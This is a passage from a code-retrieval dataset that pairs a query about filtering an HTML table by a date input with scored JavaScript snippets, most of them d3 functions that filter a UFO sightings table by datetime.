\"\";\n\t\t}\n\t}", "title": "" }, { "docid": "4a34269da556a153226a6e6149181afb", "score": "0.5855601", "text": "init() {\n\t\tthis.initVariables();\n\t\tthis.initFeedbacks();\n\t\tthis.initActions();\n\t\tthis.initPresets();\n\n\t\tthis.status(this.STATE_UNKNOWN);\n\n\t\t// Force config update.\n\t\tthis.updateConfig();\n\t}", "title": "" }, { "docid": "12d691eaad2b519fc2a956a85d7475b1", "score": "0.5840682", "text": "function initialize () {\n setupVariables();\n populateCache();\n setupTerminationHandlers();\n\t\t\t\t\n }", "title": "" }, { "docid": "b24f00d9248259d7076a5ab61363de17", "score": "0.5840533", "text": "static initialize(obj, upload, uploadFileName) { \n obj['upload'] = upload;\n obj['upload_file_name'] = uploadFileName;\n }", "title": "" }, { "docid": "c26d9a308aa11ce2f0210f331e0a0090", "score": "0.5838139", "text": "function init() { }", "title": "" } ]
f1371fa18b858ca03b01d800981dd74c
Use a date form in your HTML document and write JavaScript code that will listen for events and search through the date/time column to find rows that match user input
[ { "docid": "ce4276edbff538a83b166e404d66b3d7", "score": "0.6504811", "text": "function myFunction() {\n var input, filter, table, tr, td, i, txtValue;\n input = document.getElementById(\"datetime\");\n filter = input.value.toUpperCase();\n table = document.getElementById(\"ufo-table\");\n tr = table.getElementsByTagName(\"tr\");\n\n // Loop through all sightings and hide those who don't match the search date\n for (i = 0; i < tr.length; i++) {\n td = tr[i].getElementsByTagName(\"td\")[0];\n if (td) {\n txtValue = td.textContent || td.innerText;\n if (txtValue.toUpperCase().indexOf(filter) > -1) {\n tr[i].style.display = \"\";\n } else {\n tr[i].style.display = \"none\";\n }\n } \n }\n }", "title": "" } ]
[ { "docid": "1a032cad350f9531d8bcdccdf1a56214", "score": "0.66262954", "text": "function inputChecker(){\r\n d3.event.preventDefault();\r\n var updatedTable = tableData.filter(sighting => sighting.datetime === dateInput.property(\"value\"));\r\n displayTable(updatedTable)\r\n}", "title": "" }, { "docid": "39898c8a6cd96ce884426469a208473a", "score": "0.65778077", "text": "function handleSearchButtonClick(){\n var filterDate=$dateInput.nodeValue;\n\n //Filter on date\n if(filterDate != \"\"){\n tblData=data.filter(function (address){\n var addressDate=address.datetime;\n return addressDate === filterDate\n });\n }\n else {tblData};\n\n renderTable();\n}", "title": "" }, { "docid": "4642cfa2225c1651b27ba61e611f4c7b", "score": "0.65507025", "text": "function runEnter() {\n // Prevent the page from refreshing\n d3.event.preventDefault();\n \n // Select the input element and get the raw HTML node\n var inputElement = d3.select(\"#datetime\");\n \n // Get the value property of the input element\n var userInput = inputElement.property(\"value\"); \n \n //checking userInput, it worked, so pass to next step\n //console.log(userInput);\n\n // Use the form input to filter the data by date\n var matchingCase = tableData.filter(record => record.datetime == userInput);\n \n //checking search records, worked, pass to next step\n //console.log(matchingCase); \n // Show filtered results only in main table\n if (matchingCase.length == 0) {\n // Check where there are 0 matches\n // console.log(`No results for date ${userInput}`);\n tbody.html(\"\");\n tbody.text(`There are no results for the date you entered - ${userInput}`);\n} \nelse {\n tbody.html(\"\");\n matchingCase.forEach((report) => {\n var row = tbody.append('tr');\n\n Object.entries(report).forEach(([key, value]) => {\n // Check entries\n // console.log(key, value);\n var cell = row.append('td');\n cell.text(value);\n });\n });\n}; \n}", "title": "" }, { "docid": "f02051ebe16bda837ba7a15e7b3b8b12", "score": "0.64838654", "text": "function handelFind(){\n var date_input = input_dt.property(\"value\");\n\n filtered = tableData.filter(filterDate).filter(filterCountry).filter(filterState).filter(filterCity).filter(filterShape);\n tbody.text(\"\")\n showData(filtered);\n}", "title": "" }, { "docid": "692494bd6930819d5ee31b6f97f3f14f", "score": "0.64726967", "text": "function DateFilter(){\n // pull data for UFO sightings \n var filterDateTime = UFOsighting\n d3.event.preventDefault();\n\n // Set up a variable to hold the datetime entered by user\n var userDateTime=d3.select(\"#datetime\").property(\"value\");\n\n // Use input from field to filter the data for datetime\n // if user enters a datetime, filter data to include sightings that match the criteria\n if(userDateTime) {\n filterDateTime=filterDateTime.filter(item => item.datetime===userDateTime);\n };\n\n // run the createTable function with the filtered data\n createTable(filterDateTime);\n}", "title": "" }, { "docid": "fbd1ab0e31e632a0a6a54c36e309e176", "score": "0.6465429", "text": "function buttonClick(){\n // prevent the page from refreshing the page\n d3.event.preventDefault() \n // Using d3 to select the date from the input field \n var date = d3.select(\"#datetime\").property(\"value\");\n var filterData = tableData;\n\n // This is an \"if\" statement checking to see if the date entered matches one of the dates wihtin the available range.\n if (date){\n // If the date matches, then the following code will filter the data and display \n // corresponding rows where the datetime value matches the filter value will then be displayed\n filterData = filterData.filter((row) => row.datetime === date);\n }\n buildTable(filterData);\n}", "title": "" }, { "docid": "4a4a9256501a0a74b9b52566f9e4075d", "score": "0.64558214", "text": "function Action(){\n // Prevent the page from refreshing\n d3.event.preventDefault();\n\n // Get the value of the input element in the form\n let inputDate = d3.select(\"#datetime\").property(\"value\");\n\t\n\t// Filter data on matching date\n let filteredData = tableData.filter(sightings => sightings.datetime == inputDate);\n\n // Clearing table before appending filterd data rows\n\ttbody.selectAll(\"tr\").remove();\n\n // Checking if matching rows are found\n if(filteredData.length != 0) {\n displayTable(filteredData);\n }\n else {\n displayTable(notFound);\n }\n}", "title": "" }, { "docid": "2461b2b2a190feecc980f4a0787fdc70", "score": "0.6429648", "text": "function listen(){\n const date = d3.select(\"#datetime\").property(\"value\");\n let filteredData = ufodata;\n if (date){\n filteredData = filteredData.filter(row => row.datetime === date); \n } \n buildTable(filteredData);\n}", "title": "" }, { "docid": "91b5bd0629a5e2033f87a8dbc181b199", "score": "0.6422237", "text": "function handleSearchButtonClick() {\n var filterDate = datetimeInput.value.trim();\n \n \n filteredDates = dataSet.filter(function(date) {\n var dateEntered = date.datetime;\n \n // If true, add the to the filtered table\n return dateEntered === filterDate;\n });\n renderTable();\n}", "title": "" }, { "docid": "5c04a47a091746c8cfc731359d39f205", "score": "0.63866246", "text": "function processText(){\n // remove previous data from the table\n tbody.html(\"\");\n // save the user inputted value\n let inputValue = form.property('value');\n // test to make sure input value is being recorded\n console.log(inputValue);\n // filter data that only matches the date the user inputted\n let newData = tableData.filter(item => item.datetime === inputValue);\n // select the rows and input each data point that matches the user's date\n tbody.selectAll('tr').data(newData).enter().append('tr').html(function(item) {\n return `<td>${item.datetime}</td>\n <td>${item.city}</td>\n <td>${item.state}</td>\n <td>${item.country}</td>\n <td>${item.shape}</td>\n <td>${item.durationMinutes}</td>\n <td>${item.comments}</td>`})}", "title": "" }, { "docid": "a0c460c63f5231474872355f4f167cee", "score": "0.63821715", "text": "function runClick(){\n let input = d3.select('#datetime');\n let value = input.property('value');\n\n // Empty table\n tbody.html('')\n\n // Filter for date the user inputs\n let filterResult = data.filter((item) => item.datetime === value);\n\n // Insert filtered data into table\n ufoData(filterResult);\n}", "title": "" }, { "docid": "731e858fbedc9167a0b1e8a259311480", "score": "0.633762", "text": "function runEnter() {\n\n // Halting the page from automatically refreshing:\n d3.event.preventDefault();\n\n // Selecting the input field element:\n var inputElement = d3.select(\"#datetime\");\n\n // Getting the value property of the input field element:\n var inputValue = inputElement.property(\"value\");\n console.log(inputValue);\n\n // Removing the tableData from the page:\n tbody.html(\"\");\n\n // Creating filter search:\n var filteredData = tableData.filter(date => date.datetime === inputValue);\n console.log(filteredData);\n\n // Loop through the filtered data based on user input:\n filteredData.forEach((date_search) => {\n var row = tbody.append(\"tr\");\n Object.entries(date_search).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n}", "title": "" }, { "docid": "f3d968565733c789702742380182e844", "score": "0.62835634", "text": "function findSightings() {\n\n // prevent the page from refreshing\n d3.event.preventDefault();\n \n // select the input element and get the raw HTML node\n var inputElement = d3.select(\"#datetime\");\n \n // get the value property of the input element\n var dateSelected = inputElement.property(\"value\");\n\n // print the value to the console\n console.log(dateSelected);\n\n if (dateSelected === \"\"){\n var filteredData = tableData; \n }\n else {\n var filteredData = tableData.filter(s =>s.datetime === dateSelected);\n }\n\n tbody.html(\"\");\n\n filteredData.forEach((ufoSighting) => {\n var row = tbody.append(\"tr\");\n Object.entries(ufoSighting).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n\n }", "title": "" }, { "docid": "d61fe5178ed3958f15e08c3716c6e0e9", "score": "0.62835586", "text": "function dateSelection (event) {\r\n let selection = event.target //store the calendar selection\r\n\r\n//if selected cell does not contain a date do not close the calendar\r\n if (selection.innerHTML === \"\") {\r\n calendar.style.display = \"block\";\r\n return false; //finish running through this function if there was no valid selection\r\n }\r\n\r\n dateObject.setDate(selection.innerHTML); //set the date object to selection\r\n\r\n let fullDateToday = new Date();\r\n //store todays full date\r\n let dateToday = Date.UTC(fullDateToday.getFullYear(), fullDateToday.getMonth(), fullDateToday.getDate());\r\n //store the selected full date\r\n let selectedDate = Date.UTC(dateObject.getFullYear(), dateObject.getMonth(), dateObject.getDate());\r\n\r\n //check if the selected date is or before today\r\n if (selectedDate <= dateToday) {\r\n calendar.style.display = \"block\"; //keep calendar open for a valid day selection\r\n return false; //finish running this function since a valid day was not selected\r\n }\r\n\r\n //store selection into the yourGroomingAppt object as date and display in the input field\r\n //yourGroomingAppt.date = dateObject.toLocaleDateString(); //convert to readable string for region ex: for us it is MM/DD/YYYY\r\n dateInput.value = dateObject.toLocaleDateString('en-US'); //add the now readable date string to yourGroomingAppt Object\r\n closeCalendar();\r\n\r\n}", "title": "" }, { "docid": "8cd79d5460441606d7641e4320f0b193", "score": "0.6279743", "text": "function inputFilter () {\n /* prevent refreshing */ \n d3.event.preventDefault();\n /* save element where input occurs */ \n var userInputField = d3.select(\"#datetime\");\n /* save text of element */ \n var userInput = userInputField.property(\"value\");\n /* filter dataset on input text match */ \n filteredData = ufoData.filter(ufo => ufo.datetime == userInput);\n /* reset table */ \n ufoTable.html(\"\")\n /* build table with filtered data */ \n tableBuilder(filteredData)\n}", "title": "" }, { "docid": "23337eccf780bd597cf1fb619f811fd6", "score": "0.6277741", "text": "function handleDate() {\n var date = d3.select(\"#datetime\").property(\"value\");\n console.log(date);\n\n // Create variable to filter data\n var filterTableData = tableData;\n console.log(filterTableData);\n\n // Check for new date entered\n if (date) {\n // Apply filter using date\n filterTableData = filterTableData.filter(row => row.datetime === date);\n console.log(filterTableData);\n\n // Create table with filterData\n createTable(filterTableData);\n }\n}", "title": "" }, { "docid": "c12727021c2be00dbbb6feca81a2fba4", "score": "0.62725955", "text": "function handleClick() {\n let date = d3.select('#datetime').property('value');\n let filteredData = tableData;\n\n // check to see if a date was entered, and if so, filter for that date. \n if (date) {\n filteredData = filteredData.filter(row => row.datetime === date);\n }\n buildTable(filteredData);\n}", "title": "" }, { "docid": "0f36cfe2f929de250175aa2cc96c601b", "score": "0.6271875", "text": "function SearchMadrid() {\n //Get user info\n //Get day of the week\n let dias = [1, 2, 3, 4, 5, 6, 7];\n\n var x = document.getElementById(\"Date-Madrid\");\n let date = new Date(x.value);\n\n var fechaNum = date.getDate() + 1;\n var mes_name = date.getMonth();\n\n var WeekDay = (dias[date.getDay()]);\n var y = document.getElementById('OrdinanceType-Madrid').value;\n var output;\n //Give correct info depending of the day\n if (WeekDay == 2 || WeekDay == 3 || WeekDay == 4 || WeekDay == 5 || WeekDay == 6) {\n\n switch (y) {\n case \"Baptism\":\n output = MadridSpain.Ordinances.Baptism;\n break;\n case \"Initiatory\":\n output = MadridSpain.Ordinances.Initiatory;\n break;\n case \"Endowment\":\n output = MadridSpain.Ordinances.Endowment;\n break;\n case \"Sealing\":\n output = MadridSpain.Ordinances.Sealing;\n break;\n default:\n output = \"Please Select one ordinance for do the search\";\n }\n } else {\n output = \"The temple is closed Today\";\n }\n\n document.getElementById('ScheduleMadrid').innerHTML = output;\n document.getElementById('OrdinaceMadrid').innerHTML = y;\n}", "title": "" }, { "docid": "5d012dafc5ff6b562ba899132cc48a90", "score": "0.62440246", "text": "function handleFilterClick() {\n\n // retrieve the value in the input field:\n var newDate = inputDate.property('value');\n\n // if no entry in date field: \n if (!newDate) {\n displayFullTable();\n } \n\n //otw display the filtered table:\n else {\n // filter the table data based on newDTM\n var filteredTable = tableData.filter(siting => siting.datetime === newDate);\n\n // clear the table before refilling it with filtered data\n tbody.html(\"\");\n // populate the table:\n filteredTable.forEach((report) => {\n trow = tbody.append('tr');\n Object.entries(report).forEach(([key, value]) => {\n tcell = trow.append('td');\n tcell.text(value);\n });\n });\n }\n}", "title": "" }, { "docid": "0b8324bd0b7a26eb73e4df0cdb0f2c04", "score": "0.62410957", "text": "function handleClick(){\n // prevent from refreshing\n d3.event.preventDefault();\n// Select HTML Input Element & Input Element\n let date = d3.select(\"#datetime\").property(\"value\");\n let filterData = tableData;\n\n// Check if a Date was Entered\n if (date) {\n // filter out datetime needed\n filterData = filterData.filter((row) => row.datetime === date);\n }\n BuildTable(filterData);\n}", "title": "" }, { "docid": "24de7d3184c0f2017e64a1204d3fe417", "score": "0.6194407", "text": "function handleSearchButtonClick() {\n var filterDate = $dateInput.value;\n \n // date filter\n if (filterDate != \"\") {\n tableData = data.filter(function (location) {\n var locationDate = location.datetime;\n return locationDate === filterDate;\n });\n }\n else { tableData };\n\n renderTable();\n}", "title": "" }, { "docid": "06264bfd70c4d5751e178ffb916528ca", "score": "0.6161375", "text": "function runChange() {\n d3.event.preventDefault();\n\n // Takes the input of the form.\n var inputdate = d3.select(\"#datetime\");\n var inputData = inputdate.property(\"value\");\n \n // Check to see if the value is correct.\n console.log(inputData);\n\n // Filter for the data\n filteredData = tableData.filter(alien => alien.datetime === inputData);\n console.log(filteredData);\n}", "title": "" }, { "docid": "34c351b78469c250e130b35a88170d0e", "score": "0.616014", "text": "function runEnter() {\n \n // select the input box and get the raw html node\n let inputBox = d3.select(\"#datetime\");\n\n // select the value of the input box, giving you the text inside the box\n let inputValue = inputBox.property(\"value\");\n\n // use the form input to filter the data by date\n let newData = tableData.filter((item) => item.datetime === inputValue);\n console.log(newData)\n\n // clear any previous data from the table body\n tbody.html(\"\")\n\n // loop through the filtered data and add each report to the table\n newData.forEach((item) => {\n let row = tbody.append(\"tr\");\n row.append(\"td\").text(item.datetime);\n row.append(\"td\").text(item.city);\n row.append(\"td\").text(item.state);\n row.append(\"td\").text(item.country);\n row.append(\"td\").text(item.shape);\n row.append(\"td\").text(item.durationMinutes);\n row.append(\"td\").text(item.comments);\n });\n}", "title": "" }, { "docid": "9a1b51956decf58dc0090cb7a2a0504f", "score": "0.6141934", "text": "function handleClick() {\n var input = d3.select(\"#datetime\").property(\"value\"); // read the datetime field to search thru the data\n if (input == \"\") {\n input = document.getElementById(\"datetime\").placeholder; // read the placeholder value if there is no input\n }\n console.log(input);\n\n // delete the rows to make it clean to add the new filter result\n table = document.getElementsByTagName(\"tbody\")[0];\n for(var i = table.rows.length-1; i >= 0; --i) {\n table.deleteRow(i);\n }\n \n var filterData = data.filter((ufo)=>ufo.datetime == input); // filter the data based on the date input\n console.log(filterData);\n filterData.forEach((ufoDict) => {\n var row = tbody.append(\"tr\");\n Object.values(ufoDict).forEach((value) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n }", "title": "" }, { "docid": "7f40a67fbb04d79869c121b1dca303d8", "score": "0.6140426", "text": "function searchDate(){\n var searchDate = inputField.property(\"value\");\n // console.log(searchDate);\n var results =\n data.filter(function(incident) { \n return incident.datetime === searchDate;\n });\n return results;\n // console.log(searchResults);\n}", "title": "" }, { "docid": "5eb5be82136d5f35edce624d300a3b19", "score": "0.6103975", "text": "function handleClick(){\n // select elmt matching \"datetime\" id in the HTML tags (date value will be here)\n // Chaining property(\"value\") says D3 to grab date info and hold it in 'date' variable\n let date=d3.select(\"#datetime\").property(\"value\");\n\n // Set default filter & save to new variable. Default is original data.\n let filteredData=tableData;\n if (date) {\n // Apply filter method to match datetime value selected\n // Arrow fcn: show only rows where date equals date filter. The === tests for strict equality.\n filteredData=filteredData.filter(row => row.datetime === date);\n };\n\n // Build the filtered table\n buildTable(filteredData);\n}", "title": "" }, { "docid": "dd624e081b9fa315dba1bcd9457a72fb", "score": "0.60889494", "text": "function buttonEvent(){\n d3.event.preventDefault();\n var date = d3.select(\"#datetime\").property(\"value\");\n if(date) {\n appendTable(alienSightings.filter((row) => row.datetime === date));\n } else {\n appendTable(alienSightings);\n }\n}", "title": "" }, { "docid": "959660b6e13ba259694271d06d646f2f", "score": "0.6081653", "text": "function clickSelect(){\n // prevent refresh\n d3.event.preventDefault();\n //print the value input\n console.log(dateInputText.property(\"value\"));\n //create a new table showing only the filterd data\n var filter_Data = tableData.filter(sighting => sighting.datetime===dateInputText.property(\"value\"))\n //display the new table\n displayData(filter_Data);\n}", "title": "" }, { "docid": "196eacebabe6055b1f966501bd11dd3e", "score": "0.60802764", "text": "function runFilter() {\n\n // Prevent the page from refreshing\n d3.event.preventDefault();\n\n // Select the input element\n var dateInput = d3.select(\"#datetime\");\n // Get the value property of the input element\n var dateValue = dateInput.property(\"value\");\n\n var filteredDate = tableData.filter(table => table.datetime === dateValue);\n\n tbody.html(\"\");\n\n filteredDate.forEach((tableInput) => {\n var row = tbody.append(\"tr\");\n Object.entries(tableInput).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n}", "title": "" }, { "docid": "68053b5492d3da4066e91a942383f8e4", "score": "0.6057289", "text": "function filterTable() {\n\n // Prevent page refresh when filter table button is pressed\n d3.event.preventDefault();\n\n // Get the date entered in the datetime class in the html\n var inputDate = d3.select(\"#datetime\").property(\"value\");\n var tableFilter = tableData;\n\n // If a date (or any value for that matter) is entered...\n // Future work - data validation to ensure only valid dates are entered.\n if (inputDate.length > 0) {\n tableFilter = tableFilter.filter(\n function (row) {\n return row.datetime === inputDate\n }\n );\n }\n\n // Show the new filtered data in the html\n showData(tableFilter);\n}", "title": "" }, { "docid": "d7c8c6257cfb9cb2ed8b8df4235eb3d1", "score": "0.60457504", "text": "function runEnter() {\n d3.event.preventDefault();\n\n // Takes the input of the form.\n var inputdate = d3.select(\"#datetime\");\n var inputData = inputdate.property(\"value\");\n \n // Check to see if the value is correct.\n console.log(inputData);\n\n // Filter for the data\n filteredData = tableData.filter(alien => alien.datetime === inputData);\n console.log(filteredData);\n}", "title": "" }, { "docid": "c695acd75d549892720a7d4742ab83f5", "score": "0.60436356", "text": "function handleClick() {\n\n // Prevent the page from refreshing\n d3.event.preventDefault();\n\n // Select the value property of the input with the id=datetime \n //to get the value elements for date\n var eventDate = d3.select(\"#datetime\").property(\"value\");\n console.log(eventDate);\n\n // Filter through the original data - make a copy of the original data and filter through the copy\n // by each filter input\n\n var filterData = ufo_sightings;\n\n //Set up a conditional to compare the input values\n if(eventDate) {\n filterData = filterData.filter(row => row.datetime == eventDate);\n };\n \n // Display the copy table\n buildTable(filterData); \n\n}", "title": "" }, { "docid": "2e3d3083f60f217261cc59eccd88ca52", "score": "0.6031964", "text": "function runEnter() {\n\n // clear html table\n document.getElementById(\"output\").innerHTML = \"\";\n\n // Prevent the page from refreshing\n d3.event.preventDefault();\n \n // Select the input element and get the raw HTML node\n var inputElement = d3.select(\"#datetime\");\n \n // Get the value property of the input element\n var inputValue = inputElement.property(\"value\");\n \n console.log(inputValue);\n \n // Create filtered data variable\n var filteredData = sightings.filter(sighting => sighting.datetime === inputValue);\n console.log(filteredData);\n \n //Replace ufo-table data with filtered data\n addDataToTbody(ufotableTbody, filteredData);\n\n}", "title": "" }, { "docid": "5abdc38dcd19708508d6a548fa9a86c1", "score": "0.60176057", "text": "function handleClick() {\n // Prevent the page from refreshing\n d3.event.preventDefault();\n\n // Select the input element and get the raw HTML node\n var dateElement = d3.select(\"#datetime\");\n // Get the value property of the input element\n var dateInputValue = dateElement.property(\"value\");\n tbody.selectAll('tr').remove();\n tbody.selectAll('td').remove();\n \n if(dateInputValue)\n {\n filteredData = tableData.filter(ufoSighted => ufoSighted.datetime === dateInputValue);\n filteredData.forEach(ufoSighted => {\n var row = tbody.append(\"tr\");\n Object.entries(ufoSighted).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n }\n else\n {\n renderTable();\n }\n}", "title": "" }, { "docid": "3bc64ca0d47bb7cabf7ad38eb7d78198", "score": "0.60082245", "text": "function handleClick() {\n\n // select date and time\n var date = d3.select(\"#datetime\").property(\"value\");\n let filteredData = tableData;\n\n // use condition to see matches with the date\n if (date) {\n filteredData = filteredData.filter(row => row.datetime === date);\n }\n\n makingTable(filteredData);\n}", "title": "" }, { "docid": "3fce7997c2446d570d3267dfa916b198", "score": "0.60043406", "text": "function runEnter() {\n tbody.html(\"\");\n \n // Select the input element and get the raw HTML node\n var inputElement = d3.select(\"#datetime\");\n\n // Get the value property of the input element\n var dateInput = inputElement.property(\"value\");\n\n console.log(dateInput); //logging date input\n //console.log(tableData); //logging return\n\n var filteredData = tableData.filter(tableData => tableData.datetime === dateInput);//filtering the table for only the date inputted\n\n console.log(filteredData);//logging the input date\n\n filteredData.forEach((filteredDatarow) => {\n var row1 = tbody.append(\"tr\");\n Object.values(filteredDatarow).forEach((value) => {\n var cell = row1.append(\"td\");\n cell.text(value);\n });\n });\n\n}", "title": "" }, { "docid": "83365a0eda3d6914b8abad75195bd9c6", "score": "0.600123", "text": "function runEnter(){\n d3.event.preventDefault();\n var inputElement = d3.select(\"#datetime\");//(\".form-control\");\n var inputValue = inputElement.property(\"value\");\n var filterDate = tableData.filter(row => row.datetime === inputValue);\n \n tbody.html(\"\")\n\n filterDate.forEach(function(findSighting){\n var row = tbody.append(\"tr\");\n Object.values(findSighting).forEach(function(value){\n row.append(\"td\").text(value);\n });\n });\n}", "title": "" }, { "docid": "4d27cc086b3910abcf91abe3d3e54601", "score": "0.5997583", "text": "function buttonClick() {\n\n d3.event.preventDefault();\n let date = d3.select(\"#datetime\").property(\"value\");\n let filteredData = tableData;\n if (date) {\n filteredData = filteredData.filter(row => row.datetime === date);\n }\n table(filteredData);\n}", "title": "" }, { "docid": "a3ef608ef2b06654d78f8c93c1dd8595", "score": "0.5994058", "text": "function display(){\n // getting the date range and storing them in variables to check whether the table has data\n // within that range\nvar checkFromDateString = document.getElementById('fromDate').value;\nvar checkToDateString = document.getElementById('toDate').value;\n\nif (checkFromDateString ==\"\"){\n document.getElementById('toDate').value = \"\";\n alert(\"Please select Valid Date Range\");\n}\nelse {\n var checkfrom = new Date(checkFromDateString);\n var checkto = new Date(checkToDateString);\n // creating the list of months to display the dsired date format \"dd MMM\"\n const months = [\"JAN\", \"FEB\", \"MAR\",\"APR\", \"MAY\", \"JUN\", \"JUL\", \"AUG\", \"SEP\", \"OCT\", \"NOV\", \"DEC\"];\n var fromDate = new Date(jsondata.check_in);\n var toDate = new Date(jsondata.check_out);\n var booked = new Date(jsondata.booked_on);\n let checkin = fromDate.getDate() + \" \" + months[fromDate.getMonth()]\n let checkout = toDate.getDate() + \" \" + months[toDate.getMonth()]\n let bookedon = booked.getDate() + \" \" + months[booked.getMonth()] + \" \" + booked.toLocaleString('en-US', { hour: 'numeric', minute: 'numeric', hour12: true })\n var Difference_In_Time = toDate.getTime() - fromDate.getTime();\n\n // To calculate the no. of days between two dates\n var Difference_In_Days = Difference_In_Time / (1000 * 3600 * 24);\n\n // condition to check whether the booked date lies within selected date range and call the next function to execute\n if ( booked >= checkfrom && checkfrom <= checkto){\n show()\n }\n else{\n alert(\"No results found for selected dates\");\n }\n\n\n// function that inserts data into table to show once the date matches\nfunction show(){\n // creating table objects/variables\n var tableObj = document.getElementById(\"jasonDisplay\");\n var row = tableObj.insertRow(1);\n var cell1 = row.insertCell(0);\n var cell2 = row.insertCell(1);\n var cell3 = row.insertCell(2);\n var cell4 = row.insertCell(3);\n var cell5 = row.insertCell(4);\n var cell6 = row.insertCell(5);\n var cell7 = row.insertCell(6);\n var cell8 = row.insertCell(7);\n var cell9 = row.insertCell(8);\n var cell10 = row.insertCell(9);\n // directing the data to table cells\n cell1.innerHTML=jsondata.channel;\n cell2.innerHTML=jsondata.bookingId;\n cell3.innerHTML=jsondata.booked_by[\"firstName\"] + \" \" +jsondata.booked_by[\"lastName\"];\n cell4.innerHTML=bookedon;\n cell5.innerHTML=checkin;\n cell6.innerHTML=checkout;\n cell7.innerHTML=jsondata.rooms[0].name;\n cell8.innerHTML=Difference_In_Days;\n cell9.innerHTML=jsondata.rooms.length;\n cell10.innerHTML=jsondata.total_payment;\n }\n}\n}", "title": "" }, { "docid": "38ae2a59183b6eb83b99ec8c3e4100aa", "score": "0.59879404", "text": "function filterDate() {\n // Preventing refresh\n d3.event.preventDefault();\n\n // Retrieving selected city, state, country, shape\n var selectedCity = citySelect.property(\"value\");\n var selectedState = stateSelect.property(\"value\");\n var selectedCountry = countrySelect.property(\"value\");\n var selectedShape = shapeSelect.property(\"value\");\n\n // Retrieving date from input\n var inputElement = d3.select(\".form-control\");\n var inputValue = inputElement.property(\"value\");\n\n console.log(selectedCity);\n console.log(selectedState);\n console.log(selectedCountry);\n console.log(inputValue);\n\n if (inputValue !== \"\") {\n // console.log(\"date is blank\");\n // Filtering data based on selections\n filteredData = tableData.filter(\n (sighting) => sighting.datetime === inputValue\n );\n }\n\n // Calling function to populate table\n populateTable(filteredData);\n}", "title": "" }, { "docid": "0ab9e356bdd59755da38b97d7c66a7ad", "score": "0.5986088", "text": "function clickHandler() {\n \n //set variable for datetime and select value..\n const datetime = d3.select(\"#datetime\").property(\"value\");\n let searchData = tableData;\n\n //grab datetime and filter data for that search date\n //arrow function to project datetime-relevant data\n let filterData = searchData.filter(row => row.datetime === datetime);\n\n //build table with this filtered data\n\n buildTable(filterData);\n\n}", "title": "" }, { "docid": "052acdbb54948549684f183a104ed2b3", "score": "0.5980518", "text": "function handleClick() {\n let date = d3.select('input').property('value');\n let filteredData = tableData;\n\n if (date) {\n filteredData = filteredData.filter(row => row.datetime === date);\n };\n\n d3.select('input').property('value', '');\n populateTable(filteredData);\n}", "title": "" }, { "docid": "21f84f9c1e517cd7d16b82523d2b209f", "score": "0.59793097", "text": "function filterDate(dateFind) {\n return dateFind.datetime == inputField.node().value.trim();\n}", "title": "" }, { "docid": "97bf219caf7645d77797570197fcb799", "score": "0.59720784", "text": "function handleClick() {\n // Prevents the page from Refreshing\n d3.event.preventDefault();\n // Select HTML Input Element and Get its Respective Value\n let date = d3.select(\"#datetime\").property(\"value\");\n let filterData = tableData;\n\n // Conditional Checking to See if the Filter is Valid\n if (date) {\n // Applies the Filter to the Table\n filterData = filterData.filter((row) => row.datetime === date);\n }\n // Build the Filtered Data Table\n buildTable(filteredData);\n}", "title": "" }, { "docid": "a968b30102555a25ab9127559536d388", "score": "0.59489495", "text": "function handleClick() {\n var filteredData = ufoData;\n \n // Set a reference to the input element on the page & pull out the input value\n var userInput = d3.select(\"input\");\n var userDate = userInput.property(\"value\");\n \n // If the user's input is in the table, then set 'filteredData' to the filtered ufo Data\n if (userDate) {\n filteredData = ufoData.filter(object =>\n object.datetime === userDate);\n \n // Put the original placeholder text back in the input field\n d3.select(\"input\").property(\"value\", \"\");\n }\n // Build new table based on user input\n renderTable(filteredData); \n}", "title": "" }, { "docid": "1b30521ffb44511f3780f0cbb098e251", "score": "0.59444547", "text": "function filterTimestamp() {\n var me = document,\n filter = me.getElementById(\"timestamp\").value.toUpperCase(),\n tr = me.getElementById(\"historyTable\").getElementsByTagName(\"tr\");\n\n filterText(tr, filter, 4);\n}", "title": "" }, { "docid": "ac569c6abb5ed9942272297802f43994", "score": "0.59402716", "text": "function runEnter() {\n \n // Prevent the page from refreshing\n d3.event.preventDefault();\n\n // Select the input element and get the \n var inputElement = d3.select('#datetime');\n \n // Get the value property of the input element\n var inputValue = inputElement.property('value');\n\n // Filter UFO sightings data based on date input\n var filteredData = tableData.filter(ufoSightings => ufoSightings.datetime === inputValue);\n\n // Reset the table before displaying filtered data\n tbody.html('');\n\n // Append the filtered data to the table body in html page\n filteredData.forEach(ufoSightings => {\n var row = tbody.append('tr')\n Object.entries(ufoSightings).forEach(([key, value]) => {\n var cell = row.append('td')\n cell.text(value)\n });\n });\n\n}", "title": "" }, { "docid": "f44f503c9f60e9ddbb8f3b636fcbfc51", "score": "0.5938094", "text": "function handleClick() {\n\n // prevent any refresh events\n d3.event.preventDefault();\n\n var filteredData = tableData;\n\n // Get the datetime value\n var date = d3.select(\"#datetime\").property(\"value\");\n\n // If a date was entered perform the filtering\n if (date) {\n // Only keep rows that meet the date entered\n filteredData = filteredData.filter(row => row.datetime === date);\n }\n\n\n // build the filtered table based on date selected\n buildTable(filteredData);\n}", "title": "" }, { "docid": "be19c9965f085d7dd7120ed85ab1916b", "score": "0.5934707", "text": "function runEnter() {\n\n // Prevent the page from refreshing\n d3.event.preventDefault();\n\n //Set table to blank\n tbody.html(\"\");\n \n // Select the input element and get the raw HTML node\n let inputElement = d3.select(\"#datetime\");\n \n // Get the value property of the input element\n let inputValue = inputElement.property(\"value\");\n\n //Filter data based on input date\n let filteredData = tableData.filter(ufo => ufo.datetime === inputValue);\n \n //Render table with the date filter\n filteredData.forEach((filter_d) => {\n let row = tbody.append(\"tr\");\n Object.entries(filter_d).forEach(([key, value]) => {\n let cell = row.append(\"td\");\n cell.text(value);\n });\n }); \n\n}", "title": "" }, { "docid": "818bbc0078aaedf9f830d4c6f29a532c", "score": "0.59303033", "text": "function SelectData(henry) {\n\n return henry.datetime == enteredDate2;\n}", "title": "" }, { "docid": "083c09ebf0f56564053a610b43bb880e", "score": "0.592878", "text": "function runEnter() {\n\n // Prevent the page from refreshing\n d3.event.preventDefault();\n\n // Select the input element and get the raw HTML node\n var inputElement = d3.select(\"#datetime\");\n\n // Get the value property of the input element\n var inputValue = inputElement.property(\"value\");\n\n // Print the value to the console\n 